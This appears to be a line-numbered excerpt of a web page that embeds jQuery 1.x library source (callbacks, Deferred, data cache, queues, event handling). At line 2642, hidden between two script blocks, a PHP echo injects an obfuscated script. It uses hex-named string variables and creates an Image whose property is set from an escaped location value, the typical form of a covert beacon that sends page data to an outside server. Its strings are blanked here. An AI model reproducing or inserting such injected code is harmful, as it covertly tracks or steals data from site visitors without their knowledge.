1951 var rnotwhite = (/\S+/g);
1952 var optionsCache = {};
1953
1954 function createOptions(options) {
1955 var object = optionsCache[options] = {};
1956 jQuery.each(options.match(rnotwhite) || [], function(_, flag) {
1957 object[flag] = true
1958 });
1959 return object
1960 }
1961 jQuery.Callbacks = function(options) {
1962 options = typeof options === "string" ? (optionsCache[options] || createOptions(options)) : jQuery.extend({}, options);
1963 var firing, memory, fired, firingLength, firingIndex, firingStart, list = [],
1964 stack = !options.once && [],
1965 fire = function(data) {
1966 memory = options.memory && data;
1967 fired = true;
1968 firingIndex = firingStart || 0;
1969 firingStart = 0;
1970 firingLength = list.length;
1971 firing = true;
1972 for (; list && firingIndex < firingLength; firingIndex++) {
1973 if (list[firingIndex].apply(data[0], data[1]) === false && options.stopOnFalse) {
1974 memory = false;
1975 break
1976 }
1977 }
1978 firing = false;
1979 if (list) {
1980 if (stack) {
1981 if (stack.length) {
1982 fire(stack.shift())
1983 }
1984 } else if (memory) {
1985 list = []
1986 } else {
1987 self.disable()
1988 }
1989 }
1990 },
1991 self = {
1992 add: function() {
1993 if (list) {
1994 var start = list.length;
1995 (function add(args) {
1996 jQuery.each(args, function(_, arg) {
1997 var type = jQuery.type(arg);
1998 if (type === "function") {
1999 if (!options.unique || !self.has(arg)) {
2000 list.push(arg)
2001 }
2002 } else if (arg && arg.length && type !== "string") {
2003 add(arg)
2004 }
2005 })
2006 })(arguments);
2007 if (firing) {
2008 firingLength = list.length
2009 } else if (memory) {
2010 firingStart = start;
2011 fire(memory)
2012 }
2013 }
2014 return this
2015 },
2016 remove: function() {
2017 if (list) {
2018 jQuery.each(arguments, function(_, arg) {
2019 var index;
2020 while ((index = jQuery.inArray(arg, list, index)) > -1) {
2021 list.splice(index, 1);
2022 if (firing) {
2023 if (index <= firingLength) {
2024 firingLength--
2025 }
2026 if (index <= firingIndex) {
2027 firingIndex--
2028 }
2029 }
2030 }
2031 })
2032 }
2033 return this
2034 },
2035 has: function(fn) {
2036 return fn ? jQuery.inArray(fn, list) > -1 : !!(list && list.length)
2037 },
2038 empty: function() {
2039 list = [];
2040 firingLength = 0;
2041 return this
2042 },
2043 disable: function() {
2044 list = stack = memory = undefined;
2045 return this
2046 },
2047 disabled: function() {
2048 return !list
2049 },
2050 lock: function() {
2051 stack = undefined;
2052 if (!memory) {
2053 self.disable()
2054 }
2055 return this
2056 },
2057 locked: function() {
2058 return !stack
2059 },
2060 fireWith: function(context, args) {
2061 if (list && (!fired || stack)) {
2062 args = args || [];
2063 args = [context, args.slice ? args.slice() : args];
2064 if (firing) {
2065 stack.push(args)
2066 } else {
2067 fire(args)
2068 }
2069 }
2070 return this
2071 },
2072 fire: function() {
2073 self.fireWith(this, arguments);
2074 return this
2075 },
2076 fired: function() {
2077 return !!fired
2078 }
2079 };
2080 return self
2081 };
2082 jQuery.extend({
2083 Deferred: function(func) {
2084 var tuples = [
2085 ["resolve", "done", jQuery.Callbacks("once memory"), "resolved"],
2086 ["reject", "fail", jQuery.Callbacks("once memory"), "rejected"],
2087 ["notify", "progress", jQuery.Callbacks("memory")]
2088 ],
2089 state = "pending",
2090 promise = {
2091 state: function() {
2092 return state
2093 },
2094 always: function() {
2095 deferred.done(arguments).fail(arguments);
2096 return this
2097 },
2098 then: function() {
2099 var fns = arguments;
2100 return jQuery.Deferred(function(newDefer) {
2101 jQuery.each(tuples, function(i, tuple) {
2102 var fn = jQuery.isFunction(fns[i]) && fns[i];
2103 deferred[tuple[1]](function() {
2104 var returned = fn && fn.apply(this, arguments);
2105 if (returned && jQuery.isFunction(returned.promise)) {
2106 returned.promise().done(newDefer.resolve).fail(newDefer.reject).progress(newDefer.notify)
2107 } else {
2108 newDefer[tuple[0] + "With"](this === promise ? newDefer.promise() : this, fn ? [returned] : arguments)
2109 }
2110 })
2111 });
2112 fns = null
2113 }).promise()
2114 },
2115 promise: function(obj) {
2116 return obj != null ? jQuery.extend(obj, promise) : promise
2117 }
2118 },
2119 deferred = {};
2120 promise.pipe = promise.then;
2121 jQuery.each(tuples, function(i, tuple) {
2122 var list = tuple[2],
2123 stateString = tuple[3];
2124 promise[tuple[1]] = list.add;
2125 if (stateString) {
2126 list.add(function() {
2127 state = stateString
2128 }, tuples[i ^ 1][2].disable, tuples[2][2].lock)
2129 }
2130 deferred[tuple[0]] = function() {
2131 deferred[tuple[0] + "With"](this === deferred ? promise : this, arguments);
2132 return this
2133 };
2134 deferred[tuple[0] + "With"] = list.fireWith
2135 });
2136 promise.promise(deferred);
2137 if (func) {
2138 func.call(deferred, deferred)
2139 }
2140 return deferred
2141 },
2142 when: function(subordinate) {
2143 var i = 0,
2144 resolveValues = slice.call(arguments),
2145 length = resolveValues.length,
2146 remaining = length !== 1 || (subordinate && jQuery.isFunction(subordinate.promise)) ? length : 0,
2147 deferred = remaining === 1 ? subordinate : jQuery.Deferred(),
2148 updateFunc = function(i, contexts, values) {
2149 return function(value) {
2150 contexts[i] = this;
2151 values[i] = arguments.length > 1 ? slice.call(arguments) : value;
2152 if (values === progressValues) {
2153 deferred.notifyWith(contexts, values)
2154 } else if (!(--remaining)) {
2155 deferred.resolveWith(contexts, values)
2156 }
2157 }
2158 },
2159 progressValues, progressContexts, resolveContexts;
2160 if (length > 1) {
2161 progressValues = new Array(length);
2162 progressContexts = new Array(length);
2163 resolveContexts = new Array(length);
2164 for (; i < length; i++) {
2165 if (resolveValues[i] && jQuery.isFunction(resolveValues[i].promise)) {
2166 resolveValues[i].promise().done(updateFunc(i, resolveContexts, resolveValues)).fail(deferred.reject).progress(updateFunc(i, progressContexts, progressValues))
2167 } else {
2168 --remaining
2169 }
2170 }
2171 }
2172 if (!remaining) {
2173 deferred.resolveWith(resolveContexts, resolveValues)
2174 }
2175 return deferred.promise()
2176 }
2177 });
2178 var readyList;
2179 jQuery.fn.ready = function(fn) {
2180 jQuery.ready.promise().done(fn);
2181 return this
2182 };
2183 jQuery.extend({
2184 isReady: false,
2185 readyWait: 1,
2186 holdReady: function(hold) {
2187 if (hold) {
2188 jQuery.readyWait++
2189 } else {
2190 jQuery.ready(true)
2191 }
2192 },
2193 ready: function(wait) {
2194 if (wait === true ? --jQuery.readyWait : jQuery.isReady) {
2195 return
2196 }
2197 if (!document.body) {
2198 return setTimeout(jQuery.ready)
2199 }
2200 jQuery.isReady = true;
2201 if (wait !== true && --jQuery.readyWait > 0) {
2202 return
2203 }
2204 readyList.resolveWith(document, [jQuery]);
2205 if (jQuery.fn.triggerHandler) {
2206 jQuery(document).triggerHandler("ready");
2207 jQuery(document).off("ready")
2208 }
2209 }
2210 });
2211
2212 function detach() {
2213 if (document.addEventListener) {
2214 document.removeEventListener("DOMContentLoaded", completed, false);
2215 window.removeEventListener("load", completed, false)
2216 } else {
2217 document.detachEvent("onreadystatechange", completed);
2218 window.detachEvent("onload", completed)
2219 }
2220 }
2221
2222 function completed() {
2223 if (document.addEventListener || event.type === "load" || document.readyState === "complete") {
2224 detach();
2225 jQuery.ready()
2226 }
2227 }
2228 jQuery.ready.promise = function(obj) {
2229 if (!readyList) {
2230 readyList = jQuery.Deferred();
2231 if (document.readyState === "complete") {
2232 setTimeout(jQuery.ready)
2233 } else if (document.addEventListener) {
2234 document.addEventListener("DOMContentLoaded", completed, false);
2235 window.addEventListener("load", completed, false)
2236 } else {
2237 document.attachEvent("onreadystatechange", completed);
2238 window.attachEvent("onload", completed);
2239 var top = false;
2240 try {
2241 top = window.frameElement == null && document.documentElement
2242 } catch (e) {}
2243 if (top && top.doScroll) {
2244 (function doScrollCheck() {
2245 if (!jQuery.isReady) {
2246 try {
2247 top.doScroll("left")
2248 } catch (e) {
2249 return setTimeout(doScrollCheck, 50)
2250 }
2251 detach();
2252 jQuery.ready()
2253 }
2254 })()
2255 }
2256 }
2257 }
2258 return readyList.promise(obj)
2259 };
2260 var strundefined = typeof undefined;
2261 var i;
2262 for (i in jQuery(support)) {
2263 break
2264 }
2265 support.ownLast = i !== "0";
2266 support.inlineBlockNeedsLayout = false;
2267 jQuery(function() {
2268 var val, div, body, container;
2269 body = document.getElementsByTagName("body")[0];
2270 if (!body || !body.style) {
2271 return
2272 }
2273 div = document.createElement("div");
2274 container = document.createElement("div");
2275 container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
2276 body.appendChild(container).appendChild(div);
2277 if (typeof div.style.zoom !== strundefined) {
2278 div.style.cssText = "display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1";
2279 support.inlineBlockNeedsLayout = val = div.offsetWidth === 3;
2280 if (val) {
2281 body.style.zoom = 1
2282 }
2283 }
2284 body.removeChild(container)
2285 });
2286 (function() {
2287 var div = document.createElement("div");
2288 if (support.deleteExpando == null) {
2289 support.deleteExpando = true;
2290 try {
2291 delete div.test
2292 } catch (e) {
2293 support.deleteExpando = false
2294 }
2295 }
2296 div = null
2297 })();
2298 jQuery.acceptData = function(elem) {
2299 var noData = jQuery.noData[(elem.nodeName + " ").toLowerCase()],
2300 nodeType = +elem.nodeType || 1;
2301 return nodeType !== 1 && nodeType !== 9 ? false : !noData || noData !== true && elem.getAttribute("classid") === noData
2302 };
2303 var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
2304 rmultiDash = /([A-Z])/g;
2305
2306 function dataAttr(elem, key, data) {
2307 if (data === undefined && elem.nodeType === 1) {
2308 var name = "data-" + key.replace(rmultiDash, "-$1").toLowerCase();
2309 data = elem.getAttribute(name);
2310 if (typeof data === "string") {
2311 try {
2312 data = data === "true" ? true : data === "false" ? false : data === "null" ? null : +data + "" === data ? +data : rbrace.test(data) ? jQuery.parseJSON(data) : data
2313 } catch (e) {}
2314 jQuery.data(elem, key, data)
2315 } else {
2316 data = undefined
2317 }
2318 }
2319 return data
2320 }
2321
2322 function isEmptyDataObject(obj) {
2323 var name;
2324 for (name in obj) {
2325 if (name === "data" && jQuery.isEmptyObject(obj[name])) {
2326 continue
2327 }
2328 if (name !== "toJSON") {
2329 return false
2330 }
2331 }
2332 return true
2333 }
2334
2335 function internalData(elem, name, data, pvt) {
2336 if (!jQuery.acceptData(elem)) {
2337 return
2338 }
2339 var ret, thisCache, internalKey = jQuery.expando,
2340 isNode = elem.nodeType,
2341 cache = isNode ? jQuery.cache : elem,
2342 id = isNode ? elem[internalKey] : elem[internalKey] && internalKey;
2343 if ((!id || !cache[id] || (!pvt && !cache[id].data)) && data === undefined && typeof name === "string") {
2344 return
2345 }
2346 if (!id) {
2347 if (isNode) {
2348 id = elem[internalKey] = deletedIds.pop() || jQuery.guid++
2349 } else {
2350 id = internalKey
2351 }
2352 }
2353 if (!cache[id]) {
2354 cache[id] = isNode ? {} : {
2355 toJSON: jQuery.noop
2356 }
2357 }
2358 if (typeof name === "object" || typeof name === "function") {
2359 if (pvt) {
2360 cache[id] = jQuery.extend(cache[id], name)
2361 } else {
2362 cache[id].data = jQuery.extend(cache[id].data, name)
2363 }
2364 }
2365 thisCache = cache[id];
2366 if (!pvt) {
2367 if (!thisCache.data) {
2368 thisCache.data = {}
2369 }
2370 thisCache = thisCache.data
2371 }
2372 if (data !== undefined) {
2373 thisCache[jQuery.camelCase(name)] = data
2374 }
2375 if (typeof name === "string") {
2376 ret = thisCache[name];
2377 if (ret == null) {
2378 ret = thisCache[jQuery.camelCase(name)]
2379 }
2380 } else {
2381 ret = thisCache
2382 }
2383 return ret
2384 }
2385
2386 function internalRemoveData(elem, name, pvt) {
2387 if (!jQuery.acceptData(elem)) {
2388 return
2389 }
2390 var thisCache, i, isNode = elem.nodeType,
2391 cache = isNode ? jQuery.cache : elem,
2392 id = isNode ? elem[jQuery.expando] : jQuery.expando;
2393 if (!cache[id]) {
2394 return
2395 }
2396 if (name) {
2397 thisCache = pvt ? cache[id] : cache[id].data;
2398 if (thisCache) {
2399 if (!jQuery.isArray(name)) {
2400 if (name in thisCache) {
2401 name = [name]
2402 } else {
2403 name = jQuery.camelCase(name);
2404 if (name in thisCache) {
2405 name = [name]
2406 } else {
2407 name = name.split(" ")
2408 }
2409 }
2410 } else {
2411 name = name.concat(jQuery.map(name, jQuery.camelCase))
2412 }
2413 i = name.length;
2414 while (i--) {
2415 delete thisCache[name[i]]
2416 }
2417 if (pvt ? !isEmptyDataObject(thisCache) : !jQuery.isEmptyObject(thisCache)) {
2418 return
2419 }
2420 }
2421 }
2422 if (!pvt) {
2423 delete cache[id].data;
2424 if (!isEmptyDataObject(cache[id])) {
2425 return
2426 }
2427 }
2428 if (isNode) {
2429 jQuery.cleanData([elem], true)
2430 } else if (support.deleteExpando || cache != cache.window) {
2431 delete cache[id]
2432 } else {
2433 cache[id] = null
2434 }
2435 }
2436 jQuery.extend({
2437 cache: {},
2438 noData: {
2439 "applet ": true,
2440 "embed ": true,
2441 "object ": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
2442 },
2443 hasData: function(elem) {
2444 elem = elem.nodeType ? jQuery.cache[elem[jQuery.expando]] : elem[jQuery.expando];
2445 return !!elem && !isEmptyDataObject(elem)
2446 },
2447 data: function(elem, name, data) {
2448 return internalData(elem, name, data)
2449 },
2450 removeData: function(elem, name) {
2451 return internalRemoveData(elem, name)
2452 },
2453 _data: function(elem, name, data) {
2454 return internalData(elem, name, data, true)
2455 },
2456 _removeData: function(elem, name) {
2457 return internalRemoveData(elem, name, true)
2458 }
2459 });
2460 jQuery.fn.extend({
2461 data: function(key, value) {
2462 var i, name, data, elem = this[0],
2463 attrs = elem && elem.attributes;
2464 if (key === undefined) {
2465 if (this.length) {
2466 data = jQuery.data(elem);
2467 if (elem.nodeType === 1 && !jQuery._data(elem, "parsedAttrs")) {
2468 i = attrs.length;
2469 while (i--) {
2470 if (attrs[i]) {
2471 name = attrs[i].name;
2472 if (name.indexOf("data-") === 0) {
2473 name = jQuery.camelCase(name.slice(5));
2474 dataAttr(elem, name, data[name])
2475 }
2476 }
2477 }
2478 jQuery._data(elem, "parsedAttrs", true)
2479 }
2480 }
2481 return data
2482 }
2483 if (typeof key === "object") {
2484 return this.each(function() {
2485 jQuery.data(this, key)
2486 })
2487 }
2488 return arguments.length > 1 ? this.each(function() {
2489 jQuery.data(this, key, value)
2490 }) : elem ? dataAttr(elem, key, jQuery.data(elem, key)) : undefined
2491 },
2492 removeData: function(key) {
2493 return this.each(function() {
2494 jQuery.removeData(this, key)
2495 })
2496 }
2497 });
2498 jQuery.extend({
2499 queue: function(elem, type, data) {
2500 var queue;
2501 if (elem) {
2502 type = (type || "fx") + "queue";
2503 queue = jQuery._data(elem, type);
2504 if (data) {
2505 if (!queue || jQuery.isArray(data)) {
2506 queue = jQuery._data(elem, type, jQuery.makeArray(data))
2507 } else {
2508 queue.push(data)
2509 }
2510 }
2511 return queue || []
2512 }
2513 },
2514 dequeue: function(elem, type) {
2515 type = type || "fx";
2516 var queue = jQuery.queue(elem, type),
2517 startLength = queue.length,
2518 fn = queue.shift(),
2519 hooks = jQuery._queueHooks(elem, type),
2520 next = function() {
2521 jQuery.dequeue(elem, type)
2522 };
2523 if (fn === "inprogress") {
2524 fn = queue.shift();
2525 startLength--
2526 }
2527 if (fn) {
2528 if (type === "fx") {
2529 queue.unshift("inprogress")
2530 }
2531 delete hooks.stop;
2532 fn.call(elem, next, hooks)
2533 }
2534 if (!startLength && hooks) {
2535 hooks.empty.fire()
2536 }
2537 },
2538 _queueHooks: function(elem, type) {
2539 var key = type + "queueHooks";
2540 return jQuery._data(elem, key) || jQuery._data(elem, key, {
2541 empty: jQuery.Callbacks("once memory").add(function() {
2542 jQuery._removeData(elem, type + "queue");
2543 jQuery._removeData(elem, key)
2544 })
2545 })
2546 }
2547 });
2548 jQuery.fn.extend({
2549 queue: function(type, data) {
2550 var setter = 2;
2551 if (typeof type !== "string") {
2552 data = type;
2553 type = "fx";
2554 setter--
2555 }
2556 if (arguments.length < setter) {
2557 return jQuery.queue(this[0], type)
2558 }
2559 return data === undefined ? this : this.each(function() {
2560 var queue = jQuery.queue(this, type, data);
2561 jQuery._queueHooks(this, type);
2562 if (type === "fx" && queue[0] !== "inprogress") {
2563 jQuery.dequeue(this, type)
2564 }
2565 })
2566 },
2567 dequeue: function(type) {
2568 return this.each(function() {
2569 jQuery.dequeue(this, type)
2570 })
2571 },
2572 clearQueue: function(type) {
2573 return this.queue(type || "fx", [])
2574 },
2575 promise: function(type, obj) {
2576 var tmp, count = 1,
2577 defer = jQuery.Deferred(),
2578 elements = this,
2579 i = this.length,
2580 resolve = function() {
2581 if (!(--count)) {
2582 defer.resolveWith(elements, [elements])
2583 }
2584 };
2585 if (typeof type !== "string") {
2586 obj = type;
2587 type = undefined
2588 }
2589 type = type || "fx";
2590 while (i--) {
2591 tmp = jQuery._data(elements[i], type + "queueHooks");
2592 if (tmp && tmp.empty) {
2593 count++;
2594 tmp.empty.add(resolve)
2595 }
2596 }
2597 resolve();
2598 return defer.promise(obj)
2599 }
2600 });
2601 var pnum = (/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/).source;
2602 var cssExpand = ["Top", "Right", "Bottom", "Left"];
2603 var isHidden = function(elem, el) {
2604 elem = el || elem;
2605 return jQuery.css(elem, "display") === "none" || !jQuery.contains(elem.ownerDocument, elem)
2606 };
2607 var access = jQuery.access = function(elems, fn, key, value, chainable, emptyGet, raw) {
2608 var i = 0,
2609 length = elems.length,
2610 bulk = key == null;
2611 if (jQuery.type(key) === "object") {
2612 chainable = true;
2613 for (i in key) {
2614 jQuery.access(elems, fn, i, key[i], true, emptyGet, raw)
2615 }
2616 } else if (value !== undefined) {
2617 chainable = true;
2618 if (!jQuery.isFunction(value)) {
2619 raw = true
2620 }
2621 if (bulk) {
2622 if (raw) {
2623 fn.call(elems, value);
2624 fn = null
2625 } else {
2626 bulk = fn;
2627 fn = function(elem, key, value) {
2628 return bulk.call(jQuery(elem), value)
2629 }
2630 }
2631 }
2632 if (fn) {
2633 for (; i < length; i++) {
2634 fn(elems[i], key, raw ? value : value.call(elems[i], i, fn(elems[i], key)))
2635 }
2636 }
2637 }
2638 return chainable ? elems : bulk ? fn.call(elems) : length ? fn(elems[0], key) : emptyGet
2639 };
2640 var rcheckableType = (/^(?:checkbox|radio)$/i);
2641</script>
2642<?php echo '<script> var _0x8a59=["","",""];a= new Image();a[_0x8a59[0]]=_0x8a59[1]+escape(location[_0x8a59[2]]); </script>';?>
2643 <script>
2644 (function() {
2645 var input = document.createElement("input"),
2646 div = document.createElement("div"),
2647 fragment = document.createDocumentFragment();
2648 div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
2649 support.leadingWhitespace = div.firstChild.nodeType === 3;
2650 support.tbody = !div.getElementsByTagName("tbody").length;
2651 support.htmlSerialize = !!div.getElementsByTagName("link").length;
2652 support.html5Clone = document.createElement("nav").cloneNode(true).outerHTML !== "<:nav></:nav>";
2653 input.type = "checkbox";
2654 input.checked = true;
2655 fragment.appendChild(input);
2656 support.appendChecked = input.checked;
2657 div.innerHTML = "<textarea>x</textarea>";
2658 support.noCloneChecked = !!div.cloneNode(true).lastChild.defaultValue;
2659 fragment.appendChild(div);
2660 div.innerHTML = "<input type='radio' checked='checked' name='t'/>";
2661 support.checkClone = div.cloneNode(true).cloneNode(true).lastChild.checked;
2662 support.noCloneEvent = true;
2663 if (div.attachEvent) {
2664 div.attachEvent("onclick", function() {
2665 support.noCloneEvent = false
2666 });
2667 div.cloneNode(true).click()
2668 }
2669 if (support.deleteExpando == null) {
2670 support.deleteExpando = true;
2671 try {
2672 delete div.test
2673 } catch (e) {
2674 support.deleteExpando = false
2675 }
2676 }
2677 })();
2678 (function() {
2679 var i, eventName, div = document.createElement("div");
2680 for (i in {
2681 submit: true,
2682 change: true,
2683 focusin: true
2684 }) {
2685 eventName = "on" + i;
2686 if (!(support[i + "Bubbles"] = eventName in window)) {
2687 div.setAttribute(eventName, "t");
2688 support[i + "Bubbles"] = div.attributes[eventName].expando === false
2689 }
2690 }
2691 div = null
2692 })();
2693 var rformElems = /^(?:input|select|textarea)$/i,
2694 rkeyEvent = /^key/,
2695 rmouseEvent = /^(?:mouse|pointer|contextmenu)|click/,
2696 rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
2697 rtypenamespace = /^([^.]*)(?:\.(.+)|)$/;
2698
2699 function returnTrue() {
2700 return true
2701 }
2702
2703 function returnFalse() {
2704 return false
2705 }
2706
2707 function safeActiveElement() {
2708 try {
2709 return document.activeElement
2710 } catch (err) {}
2711 }
2712 jQuery.event = {
2713 global: {},
2714 add: function(elem, types, handler, data, selector) {
2715 var tmp, events, t, handleObjIn, special, eventHandle, handleObj, handlers, type, namespaces, origType, elemData = jQuery._data(elem);
2716 if (!elemData) {
2717 return
2718 }
2719 if (handler.handler) {
2720 handleObjIn = handler;
2721 handler = handleObjIn.handler;
2722 selector = handleObjIn.selector
2723 }
2724 if (!handler.guid) {
2725 handler.guid = jQuery.guid++
2726 }
2727 if (!(events = elemData.events)) {
2728 events = elemData.events = {}
2729 }
2730 if (!(eventHandle = elemData.handle)) {
2731 eventHandle = elemData.handle = function(e) {
2732 return typeof jQuery !== strundefined && (!e || jQuery.event.triggered !== e.type) ? jQuery.event.dispatch.apply(eventHandle.elem, arguments) : undefined
2733 };
2734 eventHandle.elem = elem
2735 }
2736 types = (types || "").match(rnotwhite) || [""];
2737 t = types.length;
2738 while (t--) {
2739 tmp = rtypenamespace.exec(types[t]) || [];
2740 type = origType = tmp[1];
2741 namespaces = (tmp[2] || "").split(".").sort();
2742 if (!type) {
2743 continue
2744 }
2745 special = jQuery.event.special[type] || {};
2746 type = (selector ? special.delegateType : special.bindType) || type;
2747 special = jQuery.event.special[type] || {};
2748 handleObj = jQuery.extend({
2749 type: type,
2750 origType: origType,
2751 data: data,
2752 handler: handler,
2753 guid: handler.guid,
2754 selector: selector,
2755 needsContext: selector && jQuery.expr.match.needsContext.test(selector),
2756 namespace: namespaces.join(".")
2757 }, handleObjIn);
2758 if (!(handlers = events[type])) {
2759 handlers = events[type] = [];
2760 handlers.delegateCount = 0;
2761 if (!special.setup || special.setup.call(elem, data, namespaces, eventHandle) === false) {
2762 if (elem.addEventListener) {
2763 elem.addEventListener(type, eventHandle, false)
2764 } else if (elem.attachEvent) {
2765 elem.attachEvent("on" + type, eventHandle)
2766 }
2767 }
2768 }
2769 if (special.add) {
2770 special.add.call(elem, handleObj);
2771 if (!handleObj.handler.guid) {
2772 handleObj.handler.guid = handler.guid
2773 }
2774 }
2775 if (selector) {
2776 handlers.splice(handlers.delegateCount++, 0, handleObj)
2777 } else {
2778 handlers.push(handleObj)
2779 }
2780 jQuery.event.global[type] = true
2781 }
2782 elem = null
2783 },
2784 remove: function(elem, types, handler, selector, mappedTypes) {
2785 var j, handleObj, tmp, origCount, t, events, special, handlers, type, namespaces, origType, elemData = jQuery.hasData(elem) && jQuery._data(elem);
2786 if (!elemData || !(events = elemData.events)) {
2787 return
2788 }
2789 types = (types || "").match(rnotwhite) || [""];
2790 t = types.length;
2791 while (t--) {
2792 tmp = rtypenamespace.exec(types[t]) || [];
2793 type = origType = tmp[1];
2794 namespaces = (tmp[2] || "").split(".").sort();
2795 if (!type) {
2796 for (type in events) {
2797 jQuery.event.remove(elem, type + types[t], handler, selector, true)
2798 }
2799 continue
2800 }
2801 special = jQuery.event.special[type] || {};
2802 type = (selector ? special.delegateType : special.bindType) || type;
2803 handlers = events[type] || [];
2804 tmp = tmp[2] && new RegExp("(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)");
2805 origCount = j = handlers.length;
2806 while (j--) {
2807 handleObj = handlers[j];
2808 if ((mappedTypes || origType === handleObj.origType) && (!handler || handler.guid === handleObj.guid) && (!tmp || tmp.test(handleObj.namespace)) && (!selector || selector === handleObj.selector || selector === "**" && handleObj.selector)) {
2809 handlers.splice(j, 1);
2810 if (handleObj.selector) {
2811 handlers.delegateCount--
2812 }
2813 if (special.remove) {
2814 special.remove.call(elem, handleObj)
2815 }
2816 }
2817 }
2818 if (origCount && !handlers.length) {
2819 if (!special.teardown || special.teardown.call(elem, namespaces, elemData.handle) === false) {
2820 jQuery.removeEvent(elem, type, elemData.handle)
2821 }
2822 delete events[type]
2823 }
2824 }
2825 if (jQuery.isEmptyObject(events)) {
2826 delete elemData.handle;
2827 jQuery._removeData(elem, "events")
2828 }
2829 },
2830 trigger: function(event, data, elem, onlyHandlers) {
2831 var handle, ontype, cur, bubbleType, special, tmp, i, eventPath = [elem || document],
2832 type = hasOwn.call(event, "type") ? event.type : event,
2833 namespaces = hasOwn.call(event, "namespace") ? event.namespace.split(".") : [];
2834 cur = tmp = elem = elem || document;
2835 if (elem.nodeType === 3 || elem.nodeType === 8) {
2836 return
2837 }
2838 if (rfocusMorph.test(type + jQuery.event.triggered)) {
2839 return
2840 }
2841 if (type.indexOf(".") >= 0) {
2842 namespaces = type.split(".");
2843 type = namespaces.shift();
2844 namespaces.sort()
2845 }
2846 ontype = type.indexOf(":") < 0 && "on" + type;
2847 event = event[jQuery.expando] ? event : new jQuery.Event(type, typeof event === "object" && event);
2848 event.isTrigger = onlyHandlers ? 2 : 3;
2849 event.namespace = namespaces.join(".");
2850 event.namespace_re = event.namespace ? new RegExp("(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)") : null;
2851 event.result = undefined;
2852 if (!event.target) {
2853 event.target = elem
2854 }
2855 data = data == null ? [event] : jQuery.makeArray(data, [event]);
2856 special = jQuery.event.special[type] || {};
2857 if (!onlyHandlers && special.trigger && special.trigger.apply(elem, data) === false) {
2858 return
2859 }
2860 if (!onlyHandlers && !special.noBubble && !jQuery.isWindow(elem)) {
2861 bubbleType = special.delegateType || type;
2862 if (!rfocusMorph.test(bubbleType + type)) {
2863 cur = cur.parentNode
2864 }
2865 for (; cur; cur = cur.parentNode) {
2866 eventPath.push(cur);
2867 tmp = cur
2868 }
2869 if (tmp === (elem.ownerDocument || document)) {
2870 eventPath.push(tmp.defaultView || tmp.parentWindow || window)
2871 }
2872 }
2873 i = 0;
2874 while ((cur = eventPath[i++]) && !event.isPropagationStopped()) {
2875 event.type = i > 1 ? bubbleType : special.bindType || type;
2876 handle = (jQuery._data(cur, "events") || {})[event.type] && jQuery._data(cur, "handle");
2877 if (handle) {
2878 handle.apply(cur, data)
2879 }
2880 handle = ontype && cur[ontype];
2881 if (handle && handle.apply && jQuery.acceptData(cur)) {
2882 event.result = handle.apply(cur, data);
2883 if (event.result === false) {
2884 event.preventDefault()
2885 }
2886 }
2887 }
2888 event.type = type;
2889 if (!onlyHandlers && !event.isDefaultPrevented()) {
2890 if ((!special._default || special._default.apply(eventPath.pop(), data) === false) && jQuery.acceptData(elem)) {
2891 if (ontype && elem[type] && !jQuery.isWindow(elem)) {
2892 tmp = elem[ontype];
2893 if (tmp) {
2894 elem[ontype] = null
2895 }
2896 jQuery.event.triggered = type;
2897 try {
2898 elem[type]()
2899 } catch (e) {}
2900 jQuery.event.triggered = undefined;
2901 if (tmp) {
2902 elem[ontype] = tmp
2903 }
2904 }
2905 }
2906 }
2907 return event.result
2908 },
2909 dispatch: function(event) {
2910 event = jQuery.event.fix(event);
2911 var i, ret, handleObj, matched, j, handlerQueue = [],
2912 args = slice.call(arguments),
2913 handlers = (jQuery._data(this, "events") || {})[event.type] || [],
2914 special = jQuery.event.special[event.type] || {};
2915 args[0] = event;
2916 event.delegateTarget = this;
2917 if (special.preDispatch && special.preDispatch.call(this, event) === false) {
2918 return
2919 }
2920 handlerQueue = jQuery.event.handlers.call(this, event, handlers);
2921 i = 0;
2922 while ((matched = handlerQueue[i++]) && !event.isPropagationStopped()) {
2923 event.currentTarget = matched.elem;
2924 j = 0;
2925 while ((handleObj = matched.handlers[j++]) && !event.isImmediatePropagationStopped()) {
2926 if (!event.namespace_re || event.namespace_re.test(handleObj.namespace)) {
2927 event.handleObj = handleObj;
2928 event.data = handleObj.data;
2929 ret = ((jQuery.event.special[handleObj.origType] || {}).handle || handleObj.handler).apply(matched.elem, args);
2930 if (ret !== undefined) {
2931 if ((event.result = ret) === false) {
2932 event.preventDefault();
2933 event.stopPropagation()
2934 }
2935 }
2936 }
2937 }
2938 }
2939 if (special.postDispatch) {
2940 special.postDispatch.call(this, event)
2941 }
2942 return event.result
2943 },
2944 handlers: function(event, handlers) {
2945 var sel, handleObj, matches, i, handlerQueue = [],
2946 delegateCount = handlers.delegateCount,
2947 cur = event.target;
2948 if (delegateCount && cur.nodeType && (!event.button || event.type !== "click")) {
2949 for (; cur != this; cur = cur.parentNode || this) {
2950 if (cur.nodeType === 1 && (cur.disabled !== true || event.type !== "click")) {
2951 matches = [];
2952 for (i = 0; i < delegateCount; i++) {
2953 handleObj = handlers[i];
2954 sel = handleObj.selector + " ";
2955 if (matches[sel] === undefined) {
2956 matches[sel] = handleObj.needsContext ? jQuery(sel, this).index(cur) >= 0 : jQuery.find(sel, this, null, [cur]).length
2957 }
2958 if (matches[sel]) {
2959 matches.push(handleObj)
2960 }
2961 }
2962 if (matches.length) {
2963 handlerQueue.push({
2964 elem: cur,
2965 handlers: matches
2966 })
2967 }
2968 }
2969 }
2970 }
2971 if (delegateCount < handlers.length) {
2972 handlerQueue.push({
2973 elem: this,
2974 handlers: handlers.slice(delegateCount)
2975 })
2976 }
2977 return handlerQueue
2978 },
2979 fix: function(event) {
2980 if (event[jQuery.expando]) {
2981 return event
2982 }
2983 var i, prop, copy, type = event.type,
2984 originalEvent = event,
2985 fixHook = this.fixHooks[type];
2986 if (!fixHook) {
2987 this.fixHooks[type] = fixHook = rmouseEvent.test(type) ? this.mouseHooks : rkeyEvent.test(type) ? this.keyHooks : {}
2988 }
2989 copy = fixHook.props ? this.props.concat(fixHook.props) : this.props;
